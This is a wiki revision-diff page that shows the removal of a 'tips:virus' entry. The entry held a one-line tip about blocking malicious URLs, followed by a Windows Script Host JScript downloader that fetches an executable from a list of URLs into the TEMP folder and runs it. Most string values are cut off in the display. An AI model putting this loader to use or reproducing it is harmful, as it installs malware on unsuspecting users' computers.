tips:virus
Differences
This shows you the differences between two versions of the page.
| Next revision | Previous revision | ||
| tips:virus [2016/02/01 10:48] – created scipio | tips:virus [2021/10/08 10:06] (current) – removed scipio | ||
|---|---|---|---|
| Line 1: | Line 1: | ||
| - | ====== Example of javascritp ====== | ||
| - | To avoid this type of attack create a dummy DNS for URLS | ||
| - | < | ||
| - | var STATUS_OK = 200; | ||
| - | var METHOD_GET = " | ||
| - | var METHOD_EXEC = " | ||
| - | var W_SCRIPT_SHELL = " | ||
| - | var MSXML2_XMLHTTP = " | ||
| - | var ADODB = " | ||
| - | var STREAM = " | ||
| - | var TEMP_ENV = " | ||
| - | var EXE_EXTENSION = " | ||
| - | var MIN_FILE_SIZE = 20000; | ||
| - | |||
| - | var URLS = [" | ||
| - | var FILE_NAME = 35184372088832; | ||
| - | |||
| - | |||
| - | var wShell = WScript.CreateObject(W_SCRIPT_SHELL); | ||
| - | var httpRequest = WScript.CreateObject(MSXML2_XMLHTTP); | ||
| - | var stream = WScript.CreateObject(ADODB+" | ||
| - | |||
| - | var tmpDir = wShell.ExpandEnvironmentStrings(TEMP_ENV); | ||
| - | var storedFilePathName = tmpDir + FILE_NAME + EXE_EXTENSION; | ||
| - | |||
| - | |||
| - | for (var v = 0; v < URLS.length; | ||
| - | try { | ||
| - | var url = URLS[v]; | ||
| - | httpRequest.open(METHOD_GET, | ||
| - | httpRequest.send(); | ||
| - | if (httpRequest.status == STATUS_OK) { | ||
| - | try { | ||
| - | stream.open(); | ||
| - | stream.type = 1; | ||
| - | stream.write(httpRequest.responseBody); | ||
| - | if (stream.size > MIN_FILE_SIZE) { | ||
| - | v = URLS.length; | ||
| - | stream.position = 0; | ||
| - | stream.saveToFile(storedFilePathName, | ||
| - | } | ||
| - | } finally { | ||
| - | stream.close(); | ||
| - | } | ||
| - | } | ||
| - | } | ||
| - | catch (ignored) { | ||
| - | } | ||
| - | } | ||
| - | wShell[METHOD_EXEC](tmpDir + Math.pow(2, 45)); | ||
| - | |||
| - | </ | ||
tips/virus.1454320101.txt.gz · Last modified: by scipio
